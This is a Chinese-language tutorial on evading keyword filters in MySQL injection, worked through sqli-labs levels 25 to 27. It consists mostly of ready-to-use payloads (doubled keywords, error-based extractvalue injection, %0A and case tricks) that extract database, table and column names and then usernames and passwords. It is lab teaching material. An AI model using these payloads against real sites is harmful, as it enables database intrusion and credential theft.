MySQL注入的几种绕过方式
在平时进行MySQL注入的过程当中,有时会遇到过滤关键字的情况,这篇文章就介绍绕过几种过滤关键字的方式。
绕过过滤and和or
打开sqli的第25关,看一下源代码

可以看出将AND和or过滤成了空格,不过可以通过双写绕过获取数据。
1.判断注入点,输入一个单引号发现报错可以判断出是一个注入点

2.判断列数,由于过滤掉了or,所以order by要写成oorrder by,order by 4页面显示不正常,order by 3 页面显示正常,可以判断出列名是3


3.判断回显点,payload如下:
id=-1' union select 1,2,3 --+

4.获取数据库名,payload如下:
id=-1' union select 1,database(),3 --+

5.获取表名,payload如下:
?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema="security"--+

6.获取列名(字段名),payload如下:
-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name="users"--+

7.获取数据,payload如下:
?id=-1' union select 1,group_concat(username,0x5c,passwoorrd),3 from users --+

至此,已经获取所需要的数据
绕过过滤空格
打开sqli的第26关,看一下源代码,可以看出把空格和注释符等都过滤了

1.先判断注入点,输入?id=1 and 1=2看到的账号是admin3,再输入?id=1 and 1=1,发现也是一样的,不是数值型,可知是字符型注入


2.这一关由于过滤了一些关键字,所以选择用报错注入进行获取数据,注释符可以用;%00代替,因为&&在url中具有特殊含义,需要先进行url编码成%26%26
获取数据库名,payload如下:
?id=1'%26%26extractvalue(1,concat(0x7e,database(),0x7e));%00

获取表名,payload如下:
?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e));%00

获取列名(字段名),payload如下:
?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')aandnd(table_name='users')),0x7e));%00

获取数据,payload如下:
?id=1'%26%26extractvalue(1,concat(0x7e,(select (group_concat(username))from(users)),0x7e));%00

已经可以获取到想要的数据。
绕过过滤union和select
打开sqli的第27关,看一下源代码,可以看到把select和union过滤了

通过26关一样的方法可以判断这是一个数字型注入
1.判断列数,可知列数为3


2.判断回显点,payload如下:
?id=0'%0AunioN%0AselecT%0A1,2,3;%00 值得注意的是,输入id=-1会显示id=1的结果,猜测是因为把-当作注释过滤了

3.获取数据库名,payload如下:
?id=0'%0AunioN%0AselecT%0A1,database(),3;%00

4.获取表名,payload如下:
?id=0' %0A unioN %0A selecT %0A 1,2,(group_concat(table_name)) from (information_schema.tables) where (table_schema=database());%00

5.获取列名,payload如下:
?id=0' %0a unioN %0a selecT %0a 1,2,(group_concat(column_name)) from (information_schema.columns) where (table_schema=database()) and (table_name='users') ;%00

6.获取数据,payload如下:
?id=0' %0A unioN %0A selecT %0A 1,(group_concat(username)),(group_concat(password)) from (users);%00
浙公网安备 33010602011771号